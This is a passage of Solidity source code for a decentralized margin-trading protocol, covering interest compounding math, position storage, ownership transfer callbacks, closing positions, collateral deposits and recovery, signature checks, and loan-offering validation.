34919366901332874995585576427,
12846117181722897538509298435,
4725822410035083116489797150,
1738532907279185132707372378,
639570514388029575350057932,
235284843422800231081973821,
86556456714490055457751527,
31842340925906738090071268,
11714142585413118080082437,
4309392228124372433711936
][x];
return Fraction.Fraction128({
num: MAX_NUMERATOR,
den: denominator
});
}
function ONE()
private
pure
returns (Fraction.Fraction128 memory)
{
return Fraction.Fraction128({ num: 1, den: 1 });
}
}
library MathHelpers {
using SafeMath for uint256;
function getPartialAmount(
uint256 numerator,
uint256 denominator,
uint256 target
)
internal
pure
returns (uint256)
{
return numerator.mul(target).div(denominator);
}
function getPartialAmountRoundedUp(
uint256 numerator,
uint256 denominator,
uint256 target
)
internal
pure
returns (uint256)
{
return divisionRoundedUp(numerator.mul(target), denominator);
}
function divisionRoundedUp(
uint256 numerator,
uint256 denominator
)
internal
pure
returns (uint256)
{
assert(denominator != 0);
if (numerator == 0) {
return 0;
}
return numerator.sub(1).div(denominator).add(1);
}
function maxUint256(
)
internal
pure
returns (uint256)
{
return 2 ** 256 - 1;
}
function maxUint32(
)
internal
pure
returns (uint32)
{
return 2 ** 32 - 1;
}
function getNumBits(
uint256 n
)
internal
pure
returns (uint256)
{
uint256 first = 0;
uint256 last = 256;
while (first < last) {
uint256 check = (first + last) / 2;
if ((n >> check) == 0) {
last = check;
} else {
first = check + 1;
}
}
assert(first <= 256);
return first;
}
}
library InterestImpl {
using SafeMath for uint256;
using FractionMath for Fraction.Fraction128;
uint256 constant DEFAULT_PRECOMPUTE_PRECISION = 11;
uint256 constant DEFAULT_MACLAURIN_PRECISION = 5;
uint256 constant MAXIMUM_EXPONENT = 80;
uint128 constant E_TO_MAXIUMUM_EXPONENT = 55406223843935100525711733958316613;
function getCompoundedInterest(
uint256 principal,
uint256 interestRate,
uint256 secondsOfInterest
)
public
pure
returns (uint256)
{
uint256 numerator = interestRate.mul(secondsOfInterest);
uint128 denominator = (10**8) * (365 * 1 days);
assert(numerator < 2**128);
Fraction.Fraction128 memory rt = Fraction.Fraction128({
num: uint128(numerator),
den: denominator
});
Fraction.Fraction128 memory eToRT;
if (numerator.div(denominator) >= MAXIMUM_EXPONENT) {
eToRT = Fraction.Fraction128({
num: E_TO_MAXIUMUM_EXPONENT,
den: 1
});
} else {
eToRT = Exponent.exp(
rt,
DEFAULT_PRECOMPUTE_PRECISION,
DEFAULT_MACLAURIN_PRECISION
);
}
assert(eToRT.num >= eToRT.den);
return safeMultiplyUint256ByFraction(principal, eToRT);
}
function safeMultiplyUint256ByFraction(
uint256 n,
Fraction.Fraction128 memory f
)
private
pure
returns (uint256)
{
uint256 term1 = n.div(2 ** 128);
uint256 term2 = n % (2 ** 128);
if (term1 > 0) {
term1 = term1.mul(f.num);
uint256 numBits = MathHelpers.getNumBits(term1);
term1 = MathHelpers.divisionRoundedUp(
term1 << (uint256(256).sub(numBits)),
f.den);
if (numBits > 128) {
term1 = term1 << (numBits.sub(128));
} else if (numBits < 128) {
term1 = term1 >> (uint256(128).sub(numBits));
}
}
term2 = MathHelpers.getPartialAmountRoundedUp(
f.num,
f.den,
term2
);
return term1.add(term2);
}
}
library MarginState {
struct State {
address VAULT;
address TOKEN_PROXY;
mapping (bytes32 => uint256) loanFills;
mapping (bytes32 => uint256) loanCancels;
mapping (bytes32 => MarginCommon.Position) positions;
mapping (bytes32 => bool) closedPositions;
mapping (bytes32 => uint256) totalOwedTokenRepaidToLender;
}
}
interface LoanOwner {
function receiveLoanOwnership(
address from,
bytes32 positionId
)
external
returns (address);
}
interface PositionOwner {
function receivePositionOwnership(
address from,
bytes32 positionId
)
external
returns (address);
}
library TransferInternal {
event LoanTransferred(
bytes32 indexed positionId,
address indexed from,
address indexed to
);
event PositionTransferred(
bytes32 indexed positionId,
address indexed from,
address indexed to
);
function grantLoanOwnership(
bytes32 positionId,
address oldOwner,
address newOwner
)
internal
returns (address)
{
if (oldOwner != address(0)) {
emit LoanTransferred(positionId, oldOwner, newOwner);
}
if (AddressUtils.isContract(newOwner)) {
address nextOwner =
LoanOwner(newOwner).receiveLoanOwnership(oldOwner, positionId);
if (nextOwner != newOwner) {
return grantLoanOwnership(positionId, newOwner, nextOwner);
}
}
require(
newOwner != address(0),
"TransferInternal#grantLoanOwnership: New owner did not consent to owning loan"
);
return newOwner;
}
function grantPositionOwnership(
bytes32 positionId,
address oldOwner,
address newOwner
)
internal
returns (address)
{
if (oldOwner != address(0)) {
emit PositionTransferred(positionId, oldOwner, newOwner);
}
if (AddressUtils.isContract(newOwner)) {
address nextOwner =
PositionOwner(newOwner).receivePositionOwnership(oldOwner, positionId);
if (nextOwner != newOwner) {
return grantPositionOwnership(positionId, newOwner, nextOwner);
}
}
require(
newOwner != address(0),
"TransferInternal#grantPositionOwnership: New owner did not consent to owning position"
);
return newOwner;
}
}
library TimestampHelper {
function getBlockTimestamp32()
internal
view
returns (uint32)
{
assert(uint256(uint32(block.timestamp)) == block.timestamp);
assert(block.timestamp > 0);
return uint32(block.timestamp);
}
}
library MarginCommon {
using SafeMath for uint256;
struct Position {
address owedToken;
address heldToken;
address lender;
address owner;
uint256 principal;
uint256 requiredDeposit;
uint32 callTimeLimit;
uint32 startTimestamp;
uint32 callTimestamp;
uint32 maxDuration;
uint32 interestRate;
uint32 interestPeriod;
}
struct LoanOffering {
address owedToken;
address heldToken;
address payer;
address owner;
address taker;
address positionOwner;
address feeRecipient;
address lenderFeeToken;
address takerFeeToken;
LoanRates rates;
uint256 expirationTimestamp;
uint32 callTimeLimit;
uint32 maxDuration;
uint256 salt;
bytes32 loanHash;
bytes signature;
}
struct LoanRates {
uint256 maxAmount;
uint256 minAmount;
uint256 minHeldToken;
uint256 lenderFee;
uint256 takerFee;
uint32 interestRate;
uint32 interestPeriod;
}
function storeNewPosition(
MarginState.State storage state,
bytes32 positionId,
Position memory position,
address loanPayer
)
internal
{
assert(!positionHasExisted(state, positionId));
assert(position.owedToken != address(0));
assert(position.heldToken != address(0));
assert(position.owedToken != position.heldToken);
assert(position.owner != address(0));
assert(position.lender != address(0));
assert(position.maxDuration != 0);
assert(position.interestPeriod <= position.maxDuration);
assert(position.callTimestamp == 0);
assert(position.requiredDeposit == 0);
state.positions[positionId].owedToken = position.owedToken;
state.positions[positionId].heldToken = position.heldToken;
state.positions[positionId].principal = position.principal;
state.positions[positionId].callTimeLimit = position.callTimeLimit;
state.positions[positionId].startTimestamp = TimestampHelper.getBlockTimestamp32();
state.positions[positionId].maxDuration = position.maxDuration;
state.positions[positionId].interestRate = position.interestRate;
state.positions[positionId].interestPeriod = position.interestPeriod;
state.positions[positionId].owner = TransferInternal.grantPositionOwnership(
positionId,
(position.owner != msg.sender) ? msg.sender : address(0),
position.owner
);
state.positions[positionId].lender = TransferInternal.grantLoanOwnership(
positionId,
(position.lender != loanPayer) ? loanPayer : address(0),
position.lender
);
}
function getPositionIdFromNonce(
uint256 nonce
)
internal
view
returns (bytes32)
{
return keccak256(abi.encodePacked(msg.sender, nonce));
}
function getUnavailableLoanOfferingAmountImpl(
MarginState.State storage state,
bytes32 loanHash
)
internal
view
returns (uint256)
{
return state.loanFills[loanHash].add(state.loanCancels[loanHash]);
}
function cleanupPosition(
MarginState.State storage state,
bytes32 positionId
)
internal
{
delete state.positions[positionId];
state.closedPositions[positionId] = true;
}
function calculateOwedAmount(
Position storage position,
uint256 closeAmount,
uint256 endTimestamp
)
internal
view
returns (uint256)
{
uint256 timeElapsed = calculateEffectiveTimeElapsed(position, endTimestamp);
return InterestImpl.getCompoundedInterest(
closeAmount,
position.interestRate,
timeElapsed
);
}
function calculateEffectiveTimeElapsed(
Position storage position,
uint256 timestamp
)
internal
view
returns (uint256)
{
uint256 elapsed = timestamp.sub(position.startTimestamp);
uint256 period = position.interestPeriod;
if (period > 1) {
elapsed = MathHelpers.divisionRoundedUp(elapsed, period).mul(period);
}
return Math.min256(
elapsed,
position.maxDuration
);
}
function calculateLenderAmountForIncreasePosition(
Position storage position,
uint256 principalToAdd,
uint256 endTimestamp
)
internal
view
returns (uint256)
{
uint256 timeElapsed = calculateEffectiveTimeElapsedForNewLender(position, endTimestamp);
return InterestImpl.getCompoundedInterest(
principalToAdd,
position.interestRate,
timeElapsed
);
}
function getLoanOfferingHash(
LoanOffering loanOffering
)
internal
view
returns (bytes32)
{
return keccak256(
abi.encodePacked(
address(this),
loanOffering.owedToken,
loanOffering.heldToken,
loanOffering.payer,
loanOffering.owner,
loanOffering.taker,
loanOffering.positionOwner,
loanOffering.feeRecipient,
loanOffering.lenderFeeToken,
loanOffering.takerFeeToken,
getValuesHash(loanOffering)
)
);
}
function getPositionBalanceImpl(
MarginState.State storage state,
bytes32 positionId
)
internal
view
returns(uint256)
{
return Vault(state.VAULT).balances(positionId, state.positions[positionId].heldToken);
}
function containsPositionImpl(
MarginState.State storage state,
bytes32 positionId
)
internal
view
returns (bool)
{
return state.positions[positionId].startTimestamp != 0;
}
function positionHasExisted(
MarginState.State storage state,
bytes32 positionId
)
internal
view
returns (bool)
{
return containsPositionImpl(state, positionId) || state.closedPositions[positionId];
}
function getPositionFromStorage(
MarginState.State storage state,
bytes32 positionId
)
internal
view
returns (Position storage)
{
Position storage position = state.positions[positionId];
require(
position.startTimestamp != 0,
"MarginCommon#getPositionFromStorage: The position does not exist"
);
return position;
}
function calculateEffectiveTimeElapsedForNewLender(
Position storage position,
uint256 timestamp
)
private
view
returns (uint256)
{
uint256 elapsed = timestamp.sub(position.startTimestamp);
uint256 period = position.interestPeriod;
if (period > 1) {
elapsed = elapsed.div(period).mul(period);
}
return Math.min256(
elapsed,
position.maxDuration
);
}
function getValuesHash(
LoanOffering loanOffering
)
private
pure
returns (bytes32)
{
return keccak256(
abi.encodePacked(
loanOffering.rates.maxAmount,
loanOffering.rates.minAmount,
loanOffering.rates.minHeldToken,
loanOffering.rates.lenderFee,
loanOffering.rates.takerFee,
loanOffering.expirationTimestamp,
loanOffering.salt,
loanOffering.callTimeLimit,
loanOffering.maxDuration,
loanOffering.rates.interestRate,
loanOffering.rates.interestPeriod
)
);
}
}
interface PayoutRecipient {
function receiveClosePositionPayout(
bytes32 positionId,
uint256 closeAmount,
address closer,
address positionOwner,
address heldToken,
uint256 payout,
uint256 totalHeldToken,
bool payoutInHeldToken
)
external
returns (bool);
}
interface CloseLoanDelegator {
function closeLoanOnBehalfOf(
address closer,
address payoutRecipient,
bytes32 positionId,
uint256 requestedAmount
)
external
returns (address, uint256);
}
interface ClosePositionDelegator {
function closeOnBehalfOf(
address closer,
address payoutRecipient,
bytes32 positionId,
uint256 requestedAmount
)
external
returns (address, uint256);
}
library ClosePositionShared {
using SafeMath for uint256;
struct CloseTx {
bytes32 positionId;
uint256 originalPrincipal;
uint256 closeAmount;
uint256 owedTokenOwed;
uint256 startingHeldTokenBalance;
uint256 availableHeldToken;
address payoutRecipient;
address owedToken;
address heldToken;
address positionOwner;
address positionLender;
address exchangeWrapper;
bool payoutInHeldToken;
}
function closePositionStateUpdate(
MarginState.State storage state,
CloseTx memory transaction
)
internal
{
if (transaction.closeAmount == transaction.originalPrincipal) {
MarginCommon.cleanupPosition(state, transaction.positionId);
} else {
assert(
transaction.originalPrincipal == state.positions[transaction.positionId].principal
);
state.positions[transaction.positionId].principal =
transaction.originalPrincipal.sub(transaction.closeAmount);
}
}
function sendTokensToPayoutRecipient(
MarginState.State storage state,
ClosePositionShared.CloseTx memory transaction,
uint256 buybackCostInHeldToken,
uint256 receivedOwedToken
)
internal
returns (uint256)
{
uint256 payout;
if (transaction.payoutInHeldToken) {
payout = transaction.availableHeldToken.sub(buybackCostInHeldToken);
Vault(state.VAULT).transferFromVault(
transaction.positionId,
transaction.heldToken,
transaction.payoutRecipient,
payout
);
} else {
assert(transaction.exchangeWrapper != address(0));
payout = receivedOwedToken.sub(transaction.owedTokenOwed);
TokenProxy(state.TOKEN_PROXY).transferTokens(
transaction.owedToken,
transaction.exchangeWrapper,
transaction.payoutRecipient,
payout
);
}
if (AddressUtils.isContract(transaction.payoutRecipient)) {
require(
PayoutRecipient(transaction.payoutRecipient).receiveClosePositionPayout(
transaction.positionId,
transaction.closeAmount,
msg.sender,
transaction.positionOwner,
transaction.heldToken,
payout,
transaction.availableHeldToken,
transaction.payoutInHeldToken
),
"ClosePositionShared#sendTokensToPayoutRecipient: Payout recipient does not consent"
);
}
assert(
MarginCommon.getPositionBalanceImpl(state, transaction.positionId)
== transaction.startingHeldTokenBalance.sub(transaction.availableHeldToken)
);
return payout;
}
function createCloseTx(
MarginState.State storage state,
bytes32 positionId,
uint256 requestedAmount,
address payoutRecipient,
address exchangeWrapper,
bool payoutInHeldToken,
bool isWithoutCounterparty
)
internal
returns (CloseTx memory)
{
require(
payoutRecipient != address(0),
"ClosePositionShared#createCloseTx: Payout recipient cannot be 0"
);
require(
requestedAmount > 0,
"ClosePositionShared#createCloseTx: Requested close amount cannot be 0"
);
MarginCommon.Position storage position =
MarginCommon.getPositionFromStorage(state, positionId);
uint256 closeAmount = getApprovedAmount(
position,
positionId,
requestedAmount,
payoutRecipient,
isWithoutCounterparty
);
return parseCloseTx(
state,
position,
positionId,
closeAmount,
payoutRecipient,
exchangeWrapper,
payoutInHeldToken,
isWithoutCounterparty
);
}
function getApprovedAmount(
MarginCommon.Position storage position,
bytes32 positionId,
uint256 requestedAmount,
address payoutRecipient,
bool requireLenderApproval
)
private
returns (uint256)
{
uint256 allowedAmount = Math.min256(requestedAmount, position.principal);
allowedAmount = closePositionOnBehalfOfRecurse(
position.owner,
msg.sender,
payoutRecipient,
positionId,
allowedAmount
);
if (requireLenderApproval) {
allowedAmount = closeLoanOnBehalfOfRecurse(
position.lender,
msg.sender,
payoutRecipient,
positionId,
allowedAmount
);
}
assert(allowedAmount > 0);
assert(allowedAmount <= position.principal);
assert(allowedAmount <= requestedAmount);
return allowedAmount;
}
function closePositionOnBehalfOfRecurse(
address contractAddr,
address closer,
address payoutRecipient,
bytes32 positionId,
uint256 closeAmount
)
private
returns (uint256)
{
if (closer == contractAddr) {
return closeAmount;
}
(
address newContractAddr,
uint256 newCloseAmount
) = ClosePositionDelegator(contractAddr).closeOnBehalfOf(
closer,
payoutRecipient,
positionId,
closeAmount
);
require(
newCloseAmount <= closeAmount,
"ClosePositionShared#closePositionRecurse: newCloseAmount is greater than closeAmount"
);
require(
newCloseAmount > 0,
"ClosePositionShared#closePositionRecurse: newCloseAmount is zero"
);
if (newContractAddr != contractAddr) {
closePositionOnBehalfOfRecurse(
newContractAddr,
closer,
payoutRecipient,
positionId,
newCloseAmount
);
}
return newCloseAmount;
}
function closeLoanOnBehalfOfRecurse(
address contractAddr,
address closer,
address payoutRecipient,
bytes32 positionId,
uint256 closeAmount
)
private
returns (uint256)
{
if (closer == contractAddr) {
return closeAmount;
}
(
address newContractAddr,
uint256 newCloseAmount
) = CloseLoanDelegator(contractAddr).closeLoanOnBehalfOf(
closer,
payoutRecipient,
positionId,
closeAmount
);
require(
newCloseAmount <= closeAmount,
"ClosePositionShared#closeLoanRecurse: newCloseAmount is greater than closeAmount"
);
require(
newCloseAmount > 0,
"ClosePositionShared#closeLoanRecurse: newCloseAmount is zero"
);
if (newContractAddr != contractAddr) {
closeLoanOnBehalfOfRecurse(
newContractAddr,
closer,
payoutRecipient,
positionId,
newCloseAmount
);
}
return newCloseAmount;
}
function parseCloseTx(
MarginState.State storage state,
MarginCommon.Position storage position,
bytes32 positionId,
uint256 closeAmount,
address payoutRecipient,
address exchangeWrapper,
bool payoutInHeldToken,
bool isWithoutCounterparty
)
private
view
returns (CloseTx memory)
{
uint256 startingHeldTokenBalance = MarginCommon.getPositionBalanceImpl(state, positionId);
uint256 availableHeldToken = MathHelpers.getPartialAmount(
closeAmount,
position.principal,
startingHeldTokenBalance
);
uint256 owedTokenOwed = 0;
if (!isWithoutCounterparty) {
owedTokenOwed = MarginCommon.calculateOwedAmount(
position,
closeAmount,
block.timestamp
);
}
return CloseTx({
positionId: positionId,
originalPrincipal: position.principal,
closeAmount: closeAmount,
owedTokenOwed: owedTokenOwed,
startingHeldTokenBalance: startingHeldTokenBalance,
availableHeldToken: availableHeldToken,
payoutRecipient: payoutRecipient,
owedToken: position.owedToken,
heldToken: position.heldToken,
positionOwner: position.owner,
positionLender: position.lender,
exchangeWrapper: exchangeWrapper,
payoutInHeldToken: payoutInHeldToken
});
}
}
interface ExchangeWrapper {
function exchange(
address tradeOriginator,
address receiver,
address makerToken,
address takerToken,
uint256 requestedFillAmount,
bytes orderData
)
external
returns (uint256);
function getExchangeCost(
address makerToken,
address takerToken,
uint256 desiredMakerToken,
bytes orderData
)
external
view
returns (uint256);
}
library ClosePositionImpl {
using SafeMath for uint256;
event PositionClosed(
bytes32 indexed positionId,
address indexed closer,
address indexed payoutRecipient,
uint256 closeAmount,
uint256 remainingAmount,
uint256 owedTokenPaidToLender,
uint256 payoutAmount,
uint256 buybackCostInHeldToken,
bool payoutInHeldToken
);
function closePositionImpl(
MarginState.State storage state,
bytes32 positionId,
uint256 requestedCloseAmount,
address payoutRecipient,
address exchangeWrapper,
bool payoutInHeldToken,
bytes memory orderData
)
public
returns (uint256, uint256, uint256)
{
ClosePositionShared.CloseTx memory transaction = ClosePositionShared.createCloseTx(
state,
positionId,
requestedCloseAmount,
payoutRecipient,
exchangeWrapper,
payoutInHeldToken,
false
);
(
uint256 buybackCostInHeldToken,
uint256 receivedOwedToken
) = returnOwedTokensToLender(
state,
transaction,
orderData
);
uint256 payout = ClosePositionShared.sendTokensToPayoutRecipient(
state,
transaction,
buybackCostInHeldToken,
receivedOwedToken
);
ClosePositionShared.closePositionStateUpdate(state, transaction);
logEventOnClose(
transaction,
buybackCostInHeldToken,
payout
);
return (
transaction.closeAmount,
payout,
transaction.owedTokenOwed
);
}
function returnOwedTokensToLender(
MarginState.State storage state,
ClosePositionShared.CloseTx memory transaction,
bytes memory orderData
)
private
returns (uint256, uint256)
{
uint256 buybackCostInHeldToken = 0;
uint256 receivedOwedToken = 0;
uint256 lenderOwedToken = transaction.owedTokenOwed;
if (transaction.exchangeWrapper == address(0)) {
require(
transaction.payoutInHeldToken,
"ClosePositionImpl#returnOwedTokensToLender: Cannot payout in owedToken"
);
TokenProxy(state.TOKEN_PROXY).transferTokens(
transaction.owedToken,
msg.sender,
transaction.positionLender,
lenderOwedToken
);
} else {
(buybackCostInHeldToken, receivedOwedToken) = buyBackOwedToken(
state,
transaction,
orderData
);
if (transaction.payoutInHeldToken) {
assert(receivedOwedToken >= lenderOwedToken);
lenderOwedToken = receivedOwedToken;
}
TokenProxy(state.TOKEN_PROXY).transferTokens(
transaction.owedToken,
transaction.exchangeWrapper,
transaction.positionLender,
lenderOwedToken
);
}
state.totalOwedTokenRepaidToLender[transaction.positionId] =
state.totalOwedTokenRepaidToLender[transaction.positionId].add(lenderOwedToken);
return (buybackCostInHeldToken, receivedOwedToken);
}
function buyBackOwedToken(
MarginState.State storage state,
ClosePositionShared.CloseTx transaction,
bytes memory orderData
)
private
returns (uint256, uint256)
{
uint256 buybackCostInHeldToken;
if (transaction.payoutInHeldToken) {
buybackCostInHeldToken = ExchangeWrapper(transaction.exchangeWrapper)
.getExchangeCost(
transaction.owedToken,
transaction.heldToken,
transaction.owedTokenOwed,
orderData
);
require(
buybackCostInHeldToken <= transaction.availableHeldToken,
"ClosePositionImpl#buyBackOwedToken: Not enough available heldToken"
);
} else {
buybackCostInHeldToken = transaction.availableHeldToken;
}
Vault(state.VAULT).transferFromVault(
transaction.positionId,
transaction.heldToken,
transaction.exchangeWrapper,
buybackCostInHeldToken
);
uint256 receivedOwedToken = ExchangeWrapper(transaction.exchangeWrapper).exchange(
msg.sender,
state.TOKEN_PROXY,
transaction.owedToken,
transaction.heldToken,
buybackCostInHeldToken,
orderData
);
require(
receivedOwedToken >= transaction.owedTokenOwed,
"ClosePositionImpl#buyBackOwedToken: Did not receive enough owedToken"
);
return (buybackCostInHeldToken, receivedOwedToken);
}
function logEventOnClose(
ClosePositionShared.CloseTx transaction,
uint256 buybackCostInHeldToken,
uint256 payout
)
private
{
emit PositionClosed(
transaction.positionId,
msg.sender,
transaction.payoutRecipient,
transaction.closeAmount,
transaction.originalPrincipal.sub(transaction.closeAmount),
transaction.owedTokenOwed,
payout,
buybackCostInHeldToken,
transaction.payoutInHeldToken
);
}
}
library CloseWithoutCounterpartyImpl {
using SafeMath for uint256;
event PositionClosed(
bytes32 indexed positionId,
address indexed closer,
address indexed payoutRecipient,
uint256 closeAmount,
uint256 remainingAmount,
uint256 owedTokenPaidToLender,
uint256 payoutAmount,
uint256 buybackCostInHeldToken,
bool payoutInHeldToken
);
function closeWithoutCounterpartyImpl(
MarginState.State storage state,
bytes32 positionId,
uint256 requestedCloseAmount,
address payoutRecipient
)
public
returns (uint256, uint256)
{
ClosePositionShared.CloseTx memory transaction = ClosePositionShared.createCloseTx(
state,
positionId,
requestedCloseAmount,
payoutRecipient,
address(0),
true,
true
);
uint256 heldTokenPayout = ClosePositionShared.sendTokensToPayoutRecipient(
state,
transaction,
0,
0
);
ClosePositionShared.closePositionStateUpdate(state, transaction);
logEventOnCloseWithoutCounterparty(transaction);
return (
transaction.closeAmount,
heldTokenPayout
);
}
function logEventOnCloseWithoutCounterparty(
ClosePositionShared.CloseTx transaction
)
private
{
emit PositionClosed(
transaction.positionId,
msg.sender,
transaction.payoutRecipient,
transaction.closeAmount,
transaction.originalPrincipal.sub(transaction.closeAmount),
0,
transaction.availableHeldToken,
0,
true
);
}
}
interface DepositCollateralDelegator {
function depositCollateralOnBehalfOf(
address depositor,
bytes32 positionId,
uint256 amount
)
external
returns (address);
}
library DepositCollateralImpl {
using SafeMath for uint256;
event AdditionalCollateralDeposited(
bytes32 indexed positionId,
uint256 amount,
address depositor
);
event MarginCallCanceled(
bytes32 indexed positionId,
address indexed lender,
address indexed owner,
uint256 depositAmount
);
function depositCollateralImpl(
MarginState.State storage state,
bytes32 positionId,
uint256 depositAmount
)
public
{
MarginCommon.Position storage position =
MarginCommon.getPositionFromStorage(state, positionId);
require(
depositAmount > 0,
"DepositCollateralImpl#depositCollateralImpl: Deposit amount cannot be 0"
);
depositCollateralOnBehalfOfRecurse(
position.owner,
msg.sender,
positionId,
depositAmount
);
Vault(state.VAULT).transferToVault(
positionId,
position.heldToken,
msg.sender,
depositAmount
);
bool marginCallCanceled = false;
uint256 requiredDeposit = position.requiredDeposit;
if (position.callTimestamp > 0 && requiredDeposit > 0) {
if (depositAmount >= requiredDeposit) {
position.requiredDeposit = 0;
position.callTimestamp = 0;
marginCallCanceled = true;
} else {
position.requiredDeposit = position.requiredDeposit.sub(depositAmount);
}
}
emit AdditionalCollateralDeposited(
positionId,
depositAmount,
msg.sender
);
if (marginCallCanceled) {
emit MarginCallCanceled(
positionId,
position.lender,
msg.sender,
depositAmount
);
}
}
function depositCollateralOnBehalfOfRecurse(
address contractAddr,
address depositor,
bytes32 positionId,
uint256 amount
)
private
{
if (depositor == contractAddr) {
return;
}
address newContractAddr =
DepositCollateralDelegator(contractAddr).depositCollateralOnBehalfOf(
depositor,
positionId,
amount
);
if (newContractAddr != contractAddr) {
depositCollateralOnBehalfOfRecurse(
newContractAddr,
depositor,
positionId,
amount
);
}
}
}
interface ForceRecoverCollateralDelegator {
function forceRecoverCollateralOnBehalfOf(
address recoverer,
bytes32 positionId,
address recipient
)
external
returns (address);
}
library ForceRecoverCollateralImpl {
using SafeMath for uint256;
event CollateralForceRecovered(
bytes32 indexed positionId,
address indexed recipient,
uint256 amount
);
function forceRecoverCollateralImpl(
MarginState.State storage state,
bytes32 positionId,
address recipient
)
public
returns (uint256)
{
MarginCommon.Position storage position =
MarginCommon.getPositionFromStorage(state, positionId);
require(
(
position.callTimestamp > 0
&& block.timestamp >= uint256(position.callTimestamp).add(position.callTimeLimit)
) || (
block.timestamp >= uint256(position.startTimestamp).add(position.maxDuration)
),
"ForceRecoverCollateralImpl#forceRecoverCollateralImpl: Cannot recover yet"
);
forceRecoverCollateralOnBehalfOfRecurse(
position.lender,
msg.sender,
positionId,
recipient
);
uint256 heldTokenRecovered = MarginCommon.getPositionBalanceImpl(state, positionId);
Vault(state.VAULT).transferFromVault(
positionId,
position.heldToken,
recipient,
heldTokenRecovered
);
MarginCommon.cleanupPosition(
state,
positionId
);
emit CollateralForceRecovered(
positionId,
recipient,
heldTokenRecovered
);
return heldTokenRecovered;
}
function forceRecoverCollateralOnBehalfOfRecurse(
address contractAddr,
address recoverer,
bytes32 positionId,
address recipient
)
private
{
if (recoverer == contractAddr) {
return;
}
address newContractAddr =
ForceRecoverCollateralDelegator(contractAddr).forceRecoverCollateralOnBehalfOf(
recoverer,
positionId,
recipient
);
if (newContractAddr != contractAddr) {
forceRecoverCollateralOnBehalfOfRecurse(
newContractAddr,
recoverer,
positionId,
recipient
);
}
}
}
library TypedSignature {
uint8 private constant SIGTYPE_INVALID = 0;
uint8 private constant SIGTYPE_ECRECOVER_DEC = 1;
uint8 private constant SIGTYPE_ECRECOVER_HEX = 2;
uint8 private constant SIGTYPE_UNSUPPORTED = 3;
bytes constant private PREPEND_HEX = "\x19Ethereum Signed Message:\n\x20";
bytes constant private PREPEND_DEC = "\x19Ethereum Signed Message:\n32";
function recover(
bytes32 hash,
bytes signatureWithType
)
internal
pure
returns (address)
{
require(
signatureWithType.length == 66,
"SignatureValidator#validateSignature: invalid signature length"
);
uint8 sigType = uint8(signatureWithType[0]);
require(
sigType > uint8(SIGTYPE_INVALID),
"SignatureValidator#validateSignature: invalid signature type"
);
require(
sigType < uint8(SIGTYPE_UNSUPPORTED),
"SignatureValidator#validateSignature: unsupported signature type"
);
uint8 v = uint8(signatureWithType[1]);
bytes32 r;
bytes32 s;
assembly {
r := mload(add(signatureWithType, 34))
s := mload(add(signatureWithType, 66))
}
bytes32 signedHash;
if (sigType == SIGTYPE_ECRECOVER_DEC) {
signedHash = keccak256(abi.encodePacked(PREPEND_DEC, hash));
} else {
assert(sigType == SIGTYPE_ECRECOVER_HEX);
signedHash = keccak256(abi.encodePacked(PREPEND_HEX, hash));
}
return ecrecover(
signedHash,
v,
r,
s
);
}
}
interface LoanOfferingVerifier {
function verifyLoanOffering(
address[9] addresses,
uint256[7] values256,
uint32[4] values32,
bytes32 positionId,
bytes signature
)
external
returns (address);
}
library BorrowShared {
using SafeMath for uint256;
struct Tx {
bytes32 positionId;
address owner;
uint256 principal;
uint256 lenderAmount;
MarginCommon.LoanOffering loanOffering;
address exchangeWrapper;
bool depositInHeldToken;
uint256 depositAmount;
uint256 collateralAmount;
uint256 heldTokenFromSell;
}
function validateTxPreSell(
MarginState.State storage state,
Tx memory transaction
)
internal
{
assert(transaction.lenderAmount >= transaction.principal);
require(
transaction.principal > 0,
"BorrowShared#validateTxPreSell: Positions with 0 principal are not allowed"
);
if (transaction.loanOffering.taker != address(0)) {
require(
msg.sender == transaction.loanOffering.taker,
"BorrowShared#validateTxPreSell: Invalid loan offering taker"
);
}
if (transaction.loanOffering.positionOwner != address(0)) {
require(
transaction.owner == transaction.loanOffering.positionOwner,
"BorrowShared#validateTxPreSell: Invalid position owner"
);
}
if (AddressUtils.isContract(transaction.loanOffering.payer)) {
getConsentFromSmartContractLender(transaction);
} else {
require(
transaction.loanOffering.payer == TypedSignature.recover(
transaction.loanOffering.loanHash,
transaction.loanOffering.signature
),
"BorrowShared#validateTxPreSell: Invalid loan offering signature"
);
}
uint256 unavailable = MarginCommon.getUnavailableLoanOfferingAmountImpl(
state,
transaction.loanOffering.loanHash
);
require(
transaction.lenderAmount.add(unavailable) <= transaction.loanOffering.rates.maxAmount,
"BorrowShared#validateTxPreSell: Loan offering does not have enough available"
);
require(
transaction.lenderAmount >= transaction.loanOffering.rates.minAmount,
"BorrowShared#validateTxPreSell: Lender amount is below loan offering minimum amount"
);
require(
transaction.loanOffering.owedToken != transaction.loanOffering.heldToken,
"BorrowShared#validateTxPreSell: owedToken cannot be equal to heldToken"
);
require(
transaction.owner != address(0),
"BorrowShared#validateTxPreSell: Position owner cannot be 0"
);
require(
transaction.loanOffering.owner != address(0),
"BorrowShared#validateTxPreSell: Loan owner cannot be 0"
);
require(
transaction.loanOffering.expirationTimestamp > block.timestamp,
"BorrowShared#validateTxPreSell: Loan offering is expired"
);
require(
transaction.loanOffering.maxDuration > 0,
"BorrowShared#validateTxPreSell: Loan offering has 0 maximum duration"
);
require(
transaction.loanOffering.rates.interestPeriod <= transaction.loanOffering.maxDuration,
"BorrowShared#validateTxPreSell: Loan offering interestPeriod > maxDuration"
);
}
function doPostSell(
MarginState.State storage state,
Tx memory transaction
)
internal
{
validateTxPostSell(transaction);
transferLoanFees(state, transaction);
state.loanFills[transaction.loanOffering.loanHash] =
state.loanFills[transaction.loanOffering.loanHash].add(transaction.lenderAmount);
}
function doSell(
MarginState.State storage state,
Tx transaction,
bytes orderData,
uint256 maxHeldTokenToBuy
)
internal
returns (uint256)
{
pullOwedTokensFromLender(state, transaction);
uint256 sellAmount = transaction.depositInHeldToken ?
transaction.lenderAmount :
transaction.lenderAmount.add(transaction.depositAmount);
uint256 heldTokenFromSell = Math.min256(
maxHeldTokenToBuy,
ExchangeWrapper(transaction.exchangeWrapper).exchange(
msg.sender,
state.TOKEN_PROXY,
transaction.loanOffering.heldToken,
transaction.loanOffering.owedToken,
sellAmount,
orderData
)
);
Vault(state.VAULT).transferToVault(
transaction.positionId,
transaction.loanOffering.heldToken,
transaction.exchangeWrapper,
heldTokenFromSell
);
transaction.collateralAmount = transaction.collateralAmount.add(heldTokenFromSell);
return heldTokenFromSell;
}
function doDepositOwedToken(
MarginState.State storage state,
Tx transaction
)
internal
{
TokenProxy(state.TOKEN_PROXY).transferTokens(
transaction.loanOffering.owedToken,
msg.sender,
